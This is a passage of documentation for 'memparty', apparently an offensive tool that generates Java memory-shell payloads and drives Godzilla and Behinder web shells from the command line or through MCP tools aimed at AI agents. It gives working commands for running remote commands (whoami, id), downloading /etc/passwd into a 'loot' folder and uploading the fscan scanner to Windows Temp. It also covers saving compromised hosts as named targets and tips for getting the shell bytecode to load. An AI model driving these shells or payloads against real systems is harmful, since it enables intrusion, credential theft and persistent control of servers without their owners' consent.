`headerName`/`headerValue`, `suo5Mode`).
|
|
168
|
+
|
|
169
|
+
Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
|
|
170
|
+
`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
|
|
171
|
+
|
|
172
|
+
## Step 5 — Execute commands on the shell
|
|
173
|
+
|
|
174
|
+
Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
|
|
175
|
+
prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
|
|
176
|
+
`connect`:
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
memparty exec -u <shell-url> -t godzilla --pass pass --key key \
|
|
180
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
181
|
+
--cmd "whoami"
|
|
182
|
+
memparty exec -u <shell-url> -t behinder --pass rebeyond \
|
|
183
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
184
|
+
--cmd "id"
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
|
|
188
|
+
`cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
|
|
189
|
+
- Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
|
|
190
|
+
- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
|
|
191
|
+
|
|
192
|
+
Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
|
|
193
|
+
`headerName`/`headerValue`).
|
|
194
|
+
|
|
195
|
+
## Step 6 — Transfer files
|
|
196
|
+
|
|
197
|
+
`memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
|
|
198
|
+
real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
|
|
199
|
+
Behinder). Same credentials and gate header as `exec`:
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
memparty download -u <shell-url> -t godzilla --pass pass --key key \
|
|
203
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
204
|
+
/etc/passwd -o loot/passwd
|
|
205
|
+
memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
- Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
|
|
209
|
+
directory keeps the remote basename; no `-o` means `./<basename>`.
|
|
210
|
+
- Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
|
|
211
|
+
upload warns that the remote file may be partial.
|
|
212
|
+
- Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
|
|
213
|
+
- Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
|
|
214
|
+
server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
|
|
215
|
+
Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
|
|
216
|
+
- `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
|
|
217
|
+
file bytes never travel over MCP/stdout.
|
|
218
|
+
|
|
219
|
+
Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
|
|
220
|
+
`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
|
|
221
|
+
paths are on the machine running the MCP server.
|
|
222
|
+
|
|
223
|
+
## Step 7 — Save targets, switch by name
|
|
224
|
+
|
|
225
|
+
Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
|
|
226
|
+
with an optional remark and category), then reference it as `<project>/<shell>`:
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \
|
|
230
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
231
|
+
--remark "内网测试环境" --category test --shell-remark "root 权限"
|
|
232
|
+
memparty list # everything, or --category test
|
|
233
|
+
memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
|
|
234
|
+
memparty exec web1 --cmd "id" # bare project works when it holds one shell
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
|
|
238
|
+
`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
|
|
239
|
+
(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
|
|
240
|
+
`name: "<project>/<shell>"` to `connect_test` / `exec_command`.
|
|
241
|
+
The store lives at `~/.memparty/targets.json`.
|
|
242
|
+
|
|
243
|
+
## Step 8 — Audit with the operation log
|
|
244
|
+
|
|
245
|
+
Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
|
|
246
|
+
`~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
|
|
247
|
+
is truncated.
|
|
248
|
+
Query it to recall what was done against a target:
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
memparty log --category exec --target web1
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
|
|
255
|
+
actions before repeating them, or to answer "what did we run on this host?".
|
|
256
|
+
|
|
257
|
+
## Gotchas
|
|
258
|
+
|
|
259
|
+
- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
|
|
260
|
+
→ non-prefixed. Picking the wrong family = the shell won't load.
|
|
261
|
+
- **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
|
|
262
|
+
target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
|
|
263
|
+
- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
|
|
264
|
+
special injector class name — the CLI generates one automatically; don't override
|
|
265
|
+
`--injector-class-name` for these.
|
|
266
|
+
- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
|
|
267
|
+
- **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
|
|
268
|
+
- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
|
|
269
|
+
aren't class-byte payloads.
|
|
270
|
+
- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
|
|
271
|
+
don't trust payloads from public services in real engagements — self-host with Docker and use
|
|
272
|
+
`MEMPARTY_API_URL` or `--api`).
|
|
273
|
+
|
|
274
|
+
## Reverse: parse a class name
|
|
275
|
+
|
|
276
|
+
Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
|
|
277
|
+
|
|
278
|
+
```bash
|
|
279
|
+
memparty parse-classname --file shell.class
|
|
280
|
+
memparty parse-classname <base64-of-class-bytes>
|
|
281
|
+
```
|